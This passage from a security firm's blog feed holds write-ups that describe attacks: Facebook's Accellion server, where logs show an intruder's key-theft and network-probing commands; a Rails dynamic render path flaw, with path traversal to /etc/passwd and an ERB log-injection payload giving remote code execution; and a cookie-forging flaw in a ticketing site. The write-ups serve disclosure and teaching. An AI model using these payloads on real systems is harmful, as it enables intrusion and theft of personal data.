2&gt;/dev/stdout ...</code></pre></figure> <p><br /></p> <p>Use ShellScript to scan internal network but forgot to redirect STDERR XD <img src="/assets/img/blog/20160421/6.jpg" alt="Port Scanning" /> <br /></p> <p>Attempt to connect internal LDAP server</p> <figure class="highlight"><pre><code class="language-tex" data-lang="tex">sh: -c: line 0: syntax error near unexpected token `(' sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2&gt;/dev/stdout'</code></pre></figure> <p><br /></p> <p>Attempt to access internal server <br /> (Looked like Mail OWA could be accessed directly…)</p> <figure class="highlight"><pre><code class="language-text" data-lang="text">--20:38:09-- https://mail.thefacebook.com/ Resolving mail.thefacebook.com... 192.168.52.37 Connecting to mail.thefacebook.com|192.168.52.37|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://mail.thefacebook.com/owa/ [following] --20:38:10-- https://mail.thefacebook.com/owa/ Reusing existing connection to mail.thefacebook.com:443. HTTP request sent, awaiting response... 302 Moved Temporarily Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&amp;reason=0 [following] --20:38:10-- https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&amp;reason=0 Reusing existing connection to mail.thefacebook.com:443. HTTP request sent, awaiting response... 200 OK Length: 8902 (8.7K) [text/html] Saving to: `STDOUT' 0K ........ 100% 1.17G=0s 20:38:10 (1.17 GB/s) - `-' saved [8902/8902] --20:38:33-- (try:15) https://10.8.151.47/ Connecting to 10.8.151.47:443... --20:38:51-- https://svn.thefacebook.com/ Resolving svn.thefacebook.com... failed: Name or service not known. --20:39:03-- https://sb-dev.thefacebook.com/ Resolving sb-dev.thefacebook.com... failed: Name or service not known. failed: Connection timed out. Retrying.</code></pre></figure> <p><br /></p> <p>Attempt to steal SSL Private Key</p> <figure class="highlight"><pre><code class="language-text" data-lang="text">sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied ls: /etc/opt/apache/ssl.key/server.key: No such file or directory mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied base64: invalid input</code></pre></figure> <p><br /></p> <p>After checking the browser, the SSL certificate of files.fb.com was *.fb.com …</p> <p><img src="/assets/img/blog/20160421/7.jpg" alt="certificate of files.fb.com" /></p> <hr /> <h3 id="epilogue">Epilogue</h3> <p>After adequate proofs had been collected, they were immediately reported to Facebook Security Team. Other than vulnerability details accompanying logs, screenshots and timelines were also submitted xD</p> <p>Also, from the log on the server, there were two periods that the system was obviously operated by the hacker, one in the beginning of July and one in mid-September</p> <p>the July one seemed to be a server “dorking” and the September one seemed more vicious. Other than server “dorking” keyloggers were also implemented. As for the identities of these two hackers, were they the same person? Your guess is as good as mine. :P<br /> The time July incident happened to take place right before the announcement of CVE-2015-2857 exploit. Whether it was an invasion of 1-day exploitation or unknown 0-day ones were left in question.</p> <p><br /></p> <p>Here’s the end of the story, and, generally speaking, it was a rather interesting experience xD<br /> Thanks to this event, it inspired me to write some articles about penetration :P</p> <p>Last but not least, I would like to thank Bug Bounty and tolerant Facebook Security Team so that I could fully write down this incident : )</p> <p><br /></p> <hr /> <h2 id="timeline">Timeline</h2> <ul> <li>2016/02/05 20:05 Provide vulnerability details to Facebook Security Team</li> <li>2016/02/05 20:08 Receive automatic response</li> <li>2016/02/06 05:21 Submit vulnerability Advisory to Accellion Support Team</li> <li>2016/02/06 07:42 Receive response from Thomas that inspection is in progress</li> <li>2016/02/13 07:43 Receive response from Reginaldo about receiving Bug Bounty award $10000 USD</li> <li>2016/02/13 Asking if there anything I should pay special attention to in blog post ?</li> <li>2016/02/13 Asking Is this vulnerability be classify as a RCE or SQL Injection ?</li> <li>2016/02/18 Receive response from Reginaldo about there is a forensics investigation, Would you be able to hold your blog post until this process is complete?</li> <li>2016/02/24 Receive response from Hai about the bounty will include in March payments cycle.</li> <li>2016/04/20 Receive response from Reginaldo about the forensics investigation is done</li> </ul> https://devco.re/blog/2016/04/21/how-I-hacked-facebook-and-found-someones-backdoor-script-eng-ver/ https://devco.re/blog/2016/04/21/how-I-hacked-facebook-and-found-someones-backdoor-script-eng-ver Thu, 21 Apr 2016 00:00:00 +0800 [已結束] DEVCORE 徵求行政出納人才 <p>(2015.9.16 已結束徵才)</p> <p>戴夫寇爾即將要邁入第四個年頭,在過去的歲月中,我們推廣資安的重要性、強調安全開發。我們堅持提供最高品質的滲透測試服務,協助企業找出隱藏的資安威脅。我們也不斷精進技術,期許自己能成為全台灣第一的滲透測試團隊。</p> <p>感謝這些年來業界朋友對我們的肯定與支持,戴夫寇爾得以茁壯,如今,我們還需要一位行政出納人才,我們渴望您的加入,做為戴夫寇爾穩定的力量。相關細節如下:</p> <!-- more --> <h3 id="工作內容">工作內容</h3> <ul> <li>協助處理庶務性行政工作(接聽來電、收發、接待)</li> <li>負責合約管理、出缺考勤管理、帳務明細整理</li> <li>規劃、執行採購庶務</li> <li>應收應付款項與零用金管理</li> <li>銀行往來與一般款項收付作業</li> <li>協助主管執行相關業務</li> </ul> <h3 id="工作時間">工作時間</h3> <p>10:00 - 18:00</p> <h3 id="工作地點">工作地點</h3> <p>台北市中山區復興北路 168 號 10 樓<br /> (捷運南京復興站,走路約三分鐘)</p> <h3 id="條件要求">條件要求</h3> <ul> <li>需有兩年以上相關工作經驗</li> <li>熟悉試算表,具獨立撰寫試算表公式能力</li> <li>習慣使用雲端服務,如:Google Drive, Dropbox 或其他</li> </ul> <h3 id="加分條件">加分條件</h3> <ul> <li>您使用過專案管理系統,如:Trello, Basecamp, Redmine 或其他<br /><font color="#8c8c8c">您將會使用專案管理系統管理平日任務</font></li> <li>您是 MAC 使用者<br /><font color="#8c8c8c">您未來的電腦會是 MAC,我們希望您越快順暢使用電腦越好</font></li> <li>您曾經做過行政相關職務,但對行政一職有一套自己的想法<br /><font color="#8c8c8c">我們是新創公司,我們歡迎您挑戰既定的行政刻版印象</font></li> <li>您是生活駭客<br /><font color="#8c8c8c">您不需要會寫程式,但您習慣觀察生活中的規律,並想辦法利用這些規律有效率的解決問題</font></li> </ul> <h3 id="工作環境">工作環境</h3> <p>我們注重公司每個人的身心健康,所以:</p> <ul> <li>您會在一個開闊的辦公環境工作 <img src="/assets/img/blog/20150819/devcore_office_2.jpg" alt="DEVCORE ENV" /></li> <li>您會擁有一張 Aeron 人體工學椅 <img src="/assets/img/blog/20150819/devcore_aeron.jpg" alt="DEVCORE AERON" /></li> <li>每週補滿飲料(另有咖啡機)、零食,讓您保持心情愉快 <img src="/assets/img/blog/20150819/devcore_office_3.jpg" alt="DEVCORE DRINK" /></li> <li>公司提供飛鏢機讓您發洩對主管的怨氣 <img src="/assets/img/blog/20150819/devcore_dart.jpg" alt="DEVCORE DART" /></li> </ul> <h3 id="員工福利">員工福利</h3> <ul> <li>第一年即有特休(照比例),每年度五天全薪病假</li> <li>三節、生日禮金</li> <li>每季員工聚餐</li> <li>每年員工旅遊</li> <li>每年員工健檢</li> <li>勞保、健保、勞退</li> <li>定期專人按摩服務</li> </ul> <h3 id="薪資待遇">薪資待遇</h3> <p>新台幣 32,000 - 40,000 (保證 14 個月)</p> <h3 id="應徵方式">應徵方式</h3> <p>請來信將您的履歷以 PDF 格式寄到 [email protected],標題格式如下:<br /><strong>[應徵] 行政出納專員 (您的姓名)</strong><br /><br />我們會在兩週內主動與您聯繫。審查方式會有書審、線上測驗以及面試三個階段。最快將於九月初開始進行第二階段測試,煩請耐心等候。<br />履歷請控制在兩頁以內,需包含以下內容:</p> <ul> <li>基本資料</li> <li>學歷</li> <li>工作經歷</li> <li>社群活動經驗</li> <li>特殊事蹟</li> <li>MBTI 職業性格測試結果(請自行尋找線上測驗測試)</li> </ul> <p>請參考範例示意(<a href="http://devco.re/assets/files/recruit/Resume_Example.doc">DOC</a>、<a href="http://devco.re/assets/files/recruit/Resume_Example.pages">PAGES</a>、<a href="http://devco.re/assets/files/recruit/Resume_Example.pdf">PDF</a>)並轉成 PDF。<br /> 若您有自信,也可以自由發揮最能呈現您能力的履歷。</p> <h3 id="附註">附註</h3> <p>由於最近業務較為忙碌,若有應徵相關問題,請一律使用 Email 聯繫,造成您的不便請見諒。</p> <hr /> <p>我們選擇優先在部落格公布徵才資訊,是希望您也對安全議題感興趣,即使不懂技術也想為台灣資安盡一點力。如果您除了處理基本事務外還有更多想法,也歡迎與我們聯繫,我們會保留給您發揮的空間與調升薪水。<br /><br /> 無論如何,我們都感謝您的來信,期待您的加入!</p> https://devco.re/blog/2015/08/19/devcore-2015-recruit/ https://devco.re/blog/2015/08/19/devcore-2015-recruit Wed, 19 Aug 2015 00:00:00 +0800 Rails 動態樣板路徑的風險 <h3 id="前言">前言</h3> <p>從安全開發的角度來看,Ruby on Rails 是一套很友善的框架。它從框架層避免了很多過去網站常出現的安全問題,例如使用 ORM 避免大部分的 SQL injection 問題、有內建的 authenticity_token 讓開發者不必特別煩惱 CSRF、從機制面規定開發者使用 Strong Parameter 避免 Mass Assignment、預設轉化危險字元避免 XSS 等…。</p> <p>就我們過去<a href="https://devco.re/services/penetration-test/">滲透測試</a>的經驗來說,Rails 網站雖然還是能找到問題,但相對問題較少,而且很少單純因為 Rails 寫法問題拿到系統操作權。而今天要分享的,是在一次滲透測試中比較特別的例子,因為開發者使用了動態樣板路徑(Dynamic Render Paths)的寫法<sup id="fnref:note1" role="doc-noteref"><a href="#fn:note1" class="footnote" rel="footnote">1</a></sup>,最後造成了嚴重的結果。</p> <!-- more --> <p>動態樣板路徑,OWASP 的<a href="https://www.owasp.org/index.php/Ruby_on_Rails_Cheatsheet#Dynamic_Render_Paths">介紹</a>是這樣的:</p> <blockquote> <p>In Rails, controller actions and views can dynamically determine which view or partial to render by calling the “render” method. If user input is used in or for the template name, an attacker could cause the application to render an arbitrary view, such as an administrative page.<br /><br /> Care should be taken when using user input to determine which view to render. If possible, avoid any user input in the name or path to the view.</p> </blockquote> <p>OWASP 是說,如果你的樣板路徑是動態產生的,而且使用者可以控制那個樣板路徑,那麼使用者就可以讀取到任意樣板,包含管理介面的樣板。這樣的描述感覺還好,但就我們的發現,這其實是更嚴重的直接存取物件問題(Insecure Direct Object References),甚至有機會造成遠端命令執行(Remote Code Execution),怎麼說呢?我們直接看下去。</p> <h3 id="基本細節">基本細節</h3> <p>一個動態樣板路徑的寫法如下:</p> <figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="c1"># app/controllers/welcome_controller.rb</span> <span class="k">class</span> <span class="nc">WelcomeController</span> <span class="o">&lt;</span> <span class="no">ApplicationController</span> <span class="k">def</span> <span class="nf">index</span> <span class="n">page</span> <span class="o">=</span> <span class="n">params</span><span class="p">[</span><span class="ss">:page</span><span class="p">]</span> <span class="o">||</span> <span class="s1">'index'</span> <span class="n">render</span> <span class="n">page</span> <span class="k">end</span> <span class="k">end</span></code></pre></figure> <p>而 index 的樣板內容是這樣:</p> <figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="c">&lt;!-- app/views/welcome/index.html.erb --&gt;</span> This is INDEX page.</code></pre></figure> <p>另外建一個 demo 樣板做示意:</p> <figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="c">&lt;!-- app/views/welcome/demo.html.erb --&gt;</span> This is DEMO page.</code></pre></figure> <p>實際測試,如果我們連到 WelcomeController 的 index action,不帶任何參數會讀取 index 模版。</p> <p><a href="/assets/img/blog/20150724/render_index.png"><img src="/assets/img/blog/20150724/render_index.png" alt="Rails render index view" title="Rails render index view" /></a></p> <p>如果帶參數 page=demo,會讀取到 demo 模版。</p> <p><a href="/assets/img/blog/20150724/render_demo.png"><img src="/assets/img/blog/20150724/render_demo.png" alt="Rails render demo view" title="Rails render demo view" /></a></p> <p>所以,如果我們知道管理介面的模版路徑,送出路徑參數就可以讀取到管理介面。這就是 OWASP 所描述的風險,攻擊者得以讀取任意模版。</p> <p><a href="/assets/img/blog/20150724/render_admin.png"><img src="/assets/img/blog/20150724/render_admin.png" alt="Rails render admin view" title="Rails render admin view" /></a></p> <p>然而,當我們嘗試送出系統絕對路徑例如 /etc/passwd <sup id="fnref:note2" role="doc-noteref"><a href="#fn:note2" class="footnote" rel="footnote">2</a></sup>,網頁竟然吐出了 /etc/passwd 的內容!這就是之前所述的直接存取物件問題,可以遍歷目錄瀏覽檔案。</p> <p><a href="/assets/img/blog/20150724/render_file_traversal.png"><img src="/assets/img/blog/20150724/render_file_traversal.png" alt="Rails render Insecure Direct Object References" title="Rails render Insecure Direct Object References" /></a></p> <h3 id="進階攻擊">進階攻擊</h3> <p>通常在 Rails 環境下能夠讀取任意檔案,攻擊者會優先尋找 secret_token,目的是變造惡意 session cookie 利用 Marshal serialize 的問題做 <a href="http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/">RCE</a>。然而在本案例系統使用了 Rails 4.1 後的版本,Rails 4.1 預設使用了 JSON-based 的 serializer 防止了之前的 RCE 問題,所以並沒有辦法輕鬆利用。</p> <p>為了取得系統操作權,我們嘗試尋找其他可利用的地方。在這邊我們發現了該站系統 production.log 中存在 AWS 的上傳紀錄。如下:</p> <figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="c1"># log/production.log</span> <span class="no">INFO</span> <span class="o">--</span> <span class="p">:</span> <span class="p">[</span><span class="no">AWS</span> <span class="no">S3</span> <span class="mi">200</span> <span class="mf">0.041347</span> <span class="mi">0</span> <span class="n">retries</span><span class="p">]</span> <span class="n">put_object</span><span class="p">(</span><span class="ss">:acl</span><span class="o">=&gt;</span><span class="ss">:public_read</span><span class="p">,</span><span class="ss">:bucket_name</span><span class="o">=&gt;</span><span class="s2">"xxxx"</span><span class="p">,</span><span class="ss">:content_length</span><span class="o">=&gt;</span><span class="mi">12405</span><span class="p">,</span><span class="ss">:content_type</span><span class="o">=&gt;</span><span class="s2">"image/png"</span><span class="p">,</span><span class="ss">:data</span><span class="o">=&gt;</span><span class="c1">#&lt;File:/Users/shaolin/project/playground/rails/render/public/uploads/tmp/test_upload.png (12405 bytes)&gt;,:key=&gt;"upload_001")</span></code></pre></figure> <p>於是我們可以利用上傳檔案的 Content-Type 內容,將 Embedded Ruby 語句 &lt;%=`#{params[:devcore]}`%&gt; 添加到 production.log 檔案裡面。於是 log 的內容變成了下面這樣:</p> <figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="c1"># log/production.log</span> <span class="no">INFO</span> <span class="o">--</span> <span class="p">:</span> <span class="p">[</span><span class="no">AWS</span> <span class="no">S3</span> <span class="mi">200</span> <span class="mf">0.041347</span> <span class="mi">0</span> <span class="n">retries</span><span class="p">]</span> <span class="n">put_object</span><span class="p">(</span><span class="ss">:acl</span><span class="o">=&gt;</span><span class="ss">:public_read</span><span class="p">,</span><span class="ss">:bucket_name</span><span class="o">=&gt;</span><span class="s2">"xxxx"</span><span class="p">,</span><span class="ss">:content_length</span><span class="o">=&gt;</span><span class="mi">12405</span><span class="p">,</span><span class="ss">:content_type</span><span class="o">=&gt;</span><span class="s2">"image/png"</span><span class="p">,</span><span class="ss">:data</span><span class="o">=&gt;</span><span class="c1">#&lt;File:/Users/shaolin/project/playground/rails/render/public/uploads/tmp/test_upload.png (12405 bytes)&gt;,:key=&gt;"upload_001")</span> <span class="no">INFO</span> <span class="o">--</span> <span class="p">:</span> <span class="p">[</span><span class="no">AWS</span> <span class="no">S3</span> <span class="mi">200</span> <span class="mf">0.040211</span> <span class="mi">0</span> <span class="n">retries</span><span class="p">]</span> <span class="n">put_object</span><span class="p">(</span><span class="ss">:acl</span><span class="o">=&gt;</span><span class="ss">:public_read</span><span class="p">,</span><span class="ss">:bucket_name</span><span class="o">=&gt;</span><span class="s2">"xxxx"</span><span class="p">,</span><span class="ss">:content_length</span><span class="o">=&gt;</span><span class="mi">12405</span><span class="p">,</span><span class="ss">:content_type</span><span class="o">=&gt;</span><span class="s2">"&lt;%=`</span><span class="si">#{</span><span class="n">params</span><span class="p">[</span><span class="ss">:devcore</span><span class="p">]</span><span class="si">}</span><span class="s2">`%&gt;"</span><span class="p">,</span><span class="ss">:data</span><span class="o">=&gt;</span><span class="c1">#&lt;File:/Users/shaolin/project/playground/rails/render/public/uploads/tmp/test_upload.png (12405 bytes)&gt;,:key=&gt;"upload_002")</span></code></pre></figure> <p>接著,我們就可以利用前面的弱點讀取 production.log 檔案,再帶一個 devcore 參數作為指令,如圖,成功取得系統操作權 :p</p> <p><a href="/assets/img/blog/20150724/render_RCE.png"><img src="/assets/img/blog/20150724/render_RCE.png" alt="Rails render Remote Code Execution" title="Rails render Remote Code Execution" /></a></p> <h3 id="風險原因">風險原因</h3> <p>一般來說 Rails 開發並不太會這樣寫,但稍微搜尋一下 Github 還是能發現這種寫法存在一些專案中。我想主要原因多半是開發者想要偷懶,然後也可能想說動態樣板路徑頂多就被看到面板的 html,無傷大雅。誰知道就因為這樣導致整個程式碼內容被讀取。</p> <p>若有一個 action 要動態顯示不同模版的需求,為了避免上述的問題,就辛苦點先用 case…when 去判斷吧。這跟不要用字串組 SQL 語句避免 SQL injection 一樣,這種外面傳進來的參數都要謹慎處理的觀念要內化在開發中。</p> <p>除了開發者基本上不應該這樣開發外,Rails 本身也有一點點問題,當 render 路徑沒有副檔名,無法判斷什麼格式時,就會直接採用預設的 template handler。</p> <figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="c1"># lib/action_view/template/resolver.rb</span> <span class="k">def</span> <span class="nf">extract_handler_and_format_and_variant</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">default_formats</span><span class="p">)</span> <span class="n">pieces</span> <span class="o">=</span> <span class="no">File</span><span class="p">.</span><span class="nf">basename</span><span class="p">(</span><span class="n">path</span><span class="p">).</span><span class="nf">split</span><span class="p">(</span><span class="s2">"."</span><span class="p">)</span> <span class="n">pieces</span><span class="p">.</span><span class="nf">shift</span> <span class="n">extension</span> <span class="o">=</span> <span class="n">pieces</span><span class="p">.</span><span class="nf">pop</span> <span class="k">unless</span> <span class="n">extension</span> <span class="n">message</span> <span class="o">=</span> <span class="s2">"The file </span><span class="si">#{</span><span class="n">path</span><span class="si">}</span><span class="s2"> did not specify a template handler. The default is currently ERB, "</span> <span class="p">\</span> <span class="s2">"but will change to RAW in the future."</span> <span class="no">ActiveSupport</span><span class="o">::</span><span class="no">Deprecation</span><span class="p">.</span><span class="nf">warn</span> <span class="n">message</span> <span class="k">end</span> <span class="n">handler</span> <span class="o">=</span> <span class="no">Template</span><span class="p">.</span><span class="nf">handler_for_extension</span><span class="p">(</span><span class="n">extension</span><span class="p">)</span> <span class="nb">format</span><span class="p">,</span> <span class="n">variant</span> <span class="o">=</span> <span class="n">pieces</span><span class="p">.</span><span class="nf">last</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="no">EXTENSIONS</span><span class="p">[</span><span class="ss">:variants</span><span class="p">],</span> <span class="mi">2</span><span class="p">)</span> <span class="k">if</span> <span class="n">pieces</span><span class="p">.</span><span class="nf">last</span> <span class="nb">format</span> <span class="o">&amp;&amp;=</span> <span class="no">Template</span><span class="o">::</span><span class="no">Types</span><span class="p">[</span><span class="nb">format</span><span class="p">]</span> <span class="p">[</span><span class="n">handler</span><span class="p">,</span> <span class="nb">format</span><span class="p">,</span> <span class="n">variant</span><span class="p">]</span> <span class="k">end</span></code></pre></figure> <p>而這裡預設的 handler 是 ERB(見 register_default_template_handler),所以有本篇後面提到的進階攻擊,可以被利用來 RCE。</p> <figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="c1"># lib/action_view/template/handlers.rb</span> <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">extended</span><span class="p">(</span><span class="n">base</span><span class="p">)</span> <span class="n">base</span><span class="p">.</span><span class="nf">register_default_template_handler</span> <span class="ss">:erb</span><span class="p">,</span> <span class="no">ERB</span><span class="p">.</span><span class="nf">new</span> <span class="n">base</span><span class="p">.</span><span class="nf">register_template_handler</span> <span class="ss">:builder</span><span class="p">,</span> <span class="no">Builder</span><span class="p">.</span><span class="nf">new</span> <span class="n">base</span><span class="p">.</span><span class="nf">register_template_handler</span> <span class="ss">:raw</span><span class="p">,</span> <span class="no">Raw</span><span class="p">.</span><span class="nf">new</span> <span class="n">base</span><span class="p">.</span><span class="nf">register_template_handler</span> <span class="ss">:ruby</span><span class="p">,</span> <span class="ss">:source</span><span class="p">.</span><span class="nf">to_proc</span> <span class="k">end</span></code></pre></figure> <p>慶幸的是,目前 Rails 已經把預設的 template handler 從 ERB 改成 RAW,不會輕易把要 render 的檔案當成 ERB 執行了。詳細的內容請參考這個 <a href="https://github.com/rails/rails/commit/4be859f0fdf7b3059a28d03c279f03f5938efc80">commit</a>。</p> <h3 id="結論">結論</h3> <p>Ruby on Rails 能讓開發者較輕鬆的開發出安全的應用程式,然而,若開發者不注意,還是有可能寫出嚴重的漏洞。本文的動態樣板路徑就是這樣一個例子,它不只是 OWASP 所描述的可以存取任意模版而已,它可以遍歷檔案,甚至因為 rails 預設的 template handler 是 ERB,造成遠端命令執行讓攻擊者取得伺服器操作權。</p> <p>這個例子又再次驗證,框架可以幫助大家快速開發,增加安全度。但唯有良好的安全意識,才是應用程式安全的基石。</p> <h3 id="註解">註解</h3> <div class="footnotes" role="doc-endnotes"> <ol> <li id="fn:note1" role="doc-endnote"> <p>Dynamic Render Paths 目前並沒有中文翻譯,因為問題之精髓在於要產生的樣板路徑是可變動的,因此筆者認為動態樣板路徑這個翻譯較為貼切。 <a href="#fnref:note1" class="reversefootnote" role="doc-backlink">&#8617;</a></p> </li> <li id="fn:note2" role="doc-endnote"> <p>筆者測試的環境為 Rails 4.1.4,其他 Rails 版本有可能需要用 ../../../../../etc/passwd 跳脫目前目錄。 <a href="#fnref:note2" class="reversefootnote" role="doc-backlink">&#8617;</a></p> </li> </ol> </div> https://devco.re/blog/2015/07/24/the-vulnerability-of-dynamic-render-paths-in-rails/ https://devco.re/blog/2015/07/24/the-vulnerability-of-dynamic-render-paths-in-rails Fri, 24 Jul 2015 00:00:00 +0800 談 Cookie 認證安全-以宏碁雲端售票為例 <h3 id="前言">前言</h3> <p>Cookie 是開發網頁應用程式很常利用的東西,它是為了解決 HTTP stateless 特性但又需要有互動而產生的。開發者想把什麼資訊暫存在用戶瀏覽器都可以透過 Cookie 來完成,只要資訊量不大於約 4KB 的限制就沒問題。在這樣的空間裡,可以放購物車內的暫存商品、可以儲存讀者閱讀記錄以精準推薦產品、當然也可以寫入一些認證資訊讓使用者能保持登入狀態。</p> <p>Cookie 有一些先天上的缺點,在於資料是儲存在瀏覽器端,而使用者是可以任意修改這些資料的。所以如果網站的使用者身分認證資訊依賴 Cookie,偷偷竄改那些認證資訊,也許有機會能夠欺騙網站,盜用他人身分,今天就來談談這樣的一件事情吧!</p> <!-- more --> <h3 id="問題與回報">問題與回報</h3> <p>會想要聊這個議題,主要是因為最近很紅的宏碁雲端售票系統就是採用 Cookie 認證。上週在註冊該網站時看了一下 Cookie,發現該網站沒有使用 <a href="https://devco.re/blog/2014/06/03/http-session-protection/">Session 機制</a>的跡象,也就是單純利用 Cookie 的值來認證。</p> <p><a href="/assets/img/blog/20150130/acer_cookie.png"><img src="/assets/img/blog/20150130/acer_cookie.png" alt="宏碁雲端 cookie" title="宏碁雲端 cookie" /></a></p> <p>於是開始好奇認證主要的依據是什麼?從圖中可以看到 Cookie 值並不多,猜測該網站大概會是看 USER_ID、USER_ACCOUNT 來判斷你是哪個使用者,稍作測試後會發現有些頁面只依據 USER_ACCOUNT 的值來確認身分,而 USER_ACCOUNT 這個值其實就是使用者的身分證字號,也就是說任何人只要跟網站說我的身分證字號是什麼,網站就會認為你是那個身分證字號的使用者。利用這點設計上的小瑕疵,就可以竊取他人個資,更進階一點,甚至可以用來清空別人的志願單讓其他使用者買不到票。</p> <p>發現這個問題後,決定通報 <a href="https://vulreport.net/">VulReport 漏洞回報平台</a>,由該平台統一通知開發商。這是我第一次使用這個平台,對我而言這是一個方便且對整體資安環境有助益的平台。方便點在於,過去常常困擾於發現一些網站有設計上的疏失卻不知該不該通報,如果認識該網站的開發者倒是還好可以直接講,但對於其他不認識的,一來沒有明確窗口,二來礙於工作關係怕被認為是敲竹槓,所以影響不大的漏洞可能就放水流了。這樣放任其實不是一件健康的事情,漏洞在風險就在,有了這樣的回報平台至少可以告訴企業可能存在風險,自己也可以放心通報。事實上,對岸有<a href="http://wooyun.org/">類似的平台</a>已經行之有年,最顯著的效果,就是對岸網站在 0 day 被揭露後能在一週左右全國修復,而以往可能好多年過去了漏洞還在。這真的能夠加速保護企業和使用者,很高興台灣也有了這樣的平台!</p> <p>昨天早上收到了平台回報宏碁雲端售票已經<a href="https://vulreport.net/vulnerability/detail/284">修復的消息</a>,既然已經修復且公開了,就順便講解這個問題的細節吧!希望其他開發者可以從中體會到攻擊者的思維,進而做洽當的防禦。</p> <h3 id="驗證及危害">驗證及危害</h3> <p>為了方便驗證解說這個問題,這邊特別用兩個不存在的身分證字號在宏碁雲端售票申請帳號,分別是 Z288252522 和 Z239398899。測試目的是登入帳號 Z288252522 後看看是否能利用上述 Cookie 問題讀取 Z239398899 的個資。</p> <p>首先登入帳號 Z288252522,找到一個會回傳個資的頁面:<br /> https://www.jody-ticket.com.tw/UTK0196_.aspx</p> <p><a href="/assets/img/blog/20150130/user_A_data.png"><img src="/assets/img/blog/20150130/user_A_data.png" alt="第一個使用者個資" title="第一個使用者個資" /></a></p> <p>此時的 Cookie 值如下</p> <p><a href="/assets/img/blog/20150130/user_A_cookie.png"><img src="/assets/img/blog/20150130/user_A_cookie.png" alt="第一個使用者 cookie" title="第一個使用者 cookie" /></a></p> <p>從圖中發現 Cookie 的值其實是經過加密的,這點在上面說明攻擊觀念時刻意沒有提及。把 Cookie 值加密是一種防止別人修改 Cookie 值的方式,攻擊者不知道 Cookie 值的內容,自然也無法修改了。</p> <p>然而這樣做還是存在些微風險,一旦這個加解密方式被找到,攻擊者就得以修改 Cookie 內容,進而盜用別人身分。在本例中,若想憑著改變 Cookie 盜用別人身分其實可以不用花時間去解加密法,這裡有一個小 trick,我們從觀察中馬上就能發現所有 Cookie 值都是用同一套加密方式,而且其中 USER_EMAIL、USER_NAME 這些還是我們可以修改的值。這也意味著如果我們把姓名改成我們想要加密的身分證字號,伺服器就會回傳一個加密好的值給 USER_NAME。我們直接來修改姓名看看:</p> <p><a href="h/assets/img/blog/20150130/change_name.png"><img src="/assets/img/blog/20150130/change_name.png" alt="修改姓名成身分證字號" title="修改姓名成身分證字號" /></a></p> <p>當姓名改成目標 Z239398899 時,Cookie 中的 USER_NAME 值就會改變成我們要的加密結果。耶!是一種作業不會寫找出題老師幫忙寫的概念 XD</p> <p><a href="/assets/img/blog/20150130/user_B_cookie.png"><img src="/assets/img/blog/20150130/user_B_cookie.png" alt="改變第一個使用者 cookie" title="改變第一個使用者 cookie" /></a></p> <p>接著直接把 USER_NAME 的值拿來用,複製貼上到目標欄位 USER_ACCOUNT 中,之後就是以 Z239398899 的身分來讀取網頁了。我們再讀取一次 https://www.jody-ticket.com.tw/UTK0196_.aspx 看看:</p> <p><a href="/assets/img/blog/20150130/user_B_data.png"><img src="/assets/img/blog/20150130/user_B_data.png" alt="第二個使用者個資" title="第二個使用者個資" /></a></p> <p>成功看到 Z239398899 的資料了!如此,就可以只憑一個身分證字號讀到他人的地址電話資訊,甚至可以幫別人搶票或取消票券。這個流程寫成程式後只要兩個 request 就可以嘗試登入一個身分證字號,要大量偷取會員個資也是可行的了。</p> <p>說到這邊,也許有人會質疑要猜中註冊帳戶的身分證字號是有難度的,但其實要列舉出全台灣可能在使用的身分證字號並不困難,再加上宏碁雲端的硬體其實是很不錯的,事實也證明它能夠在<a href="https://tw.news.yahoo.com/%E6%B1%9F%E8%95%99%E5%8A%A0%E5%A0%B4%E5%94%AE%E7%A5%A8-%E9%A7%AD%E5%AE%A2%E6%94%BB%E6%93%8A4000%E8%90%AC%E6%AC%A1-041458504.html">短時間處理四千萬個請求系統仍保持穩定</a>,只要攻擊者網路不要<a href="http://www.cna.com.tw/news/afe/201501250162-1.aspx">卡在自家巷子口</a>,多機器多線程佈下去猜身分證字號效率應該很可觀!</p> <h3 id="建議原則">建議原則</h3> <p>這次的問題是兩個弱點的組合攻擊:</p> <ol> <li>Cookie 加密的內容可解也可偽造-透過網站幫忙</li> <li>功能缺少權限控管 (Missing Function Level Access Control)-部分頁面只憑身分證字號就可存取個資</li> </ol> <p>宏碁雲端售票為了效率和分流,使用 Cookie 認證是相當合理的設計,所以要解決這個問題,從第二點來解決會是最有效且符合成本的方式,怎麼改呢?推測原本的 SQL 語句應該類似這樣:</p> <figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">select</span> <span class="o">*</span> <span class="k">from</span> <span class="k">USER</span> <span class="k">where</span> <span class="n">account</span><span class="o">=</span><span class="n">USER_ACCOUNT</span></code></pre></figure> <p>由於 USER_ACCOUNT 是身分證字號,容易窮舉,更嚴謹的作法可以多判斷一個 id,像是這樣:</p> <figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">select</span> <span class="o">*</span> <span class="k">from</span> <span class="k">USER</span> <span class="k">where</span> <span class="n">account</span><span class="o">=</span><span class="n">USER_ACCOUNT</span> <span class="k">and</span> 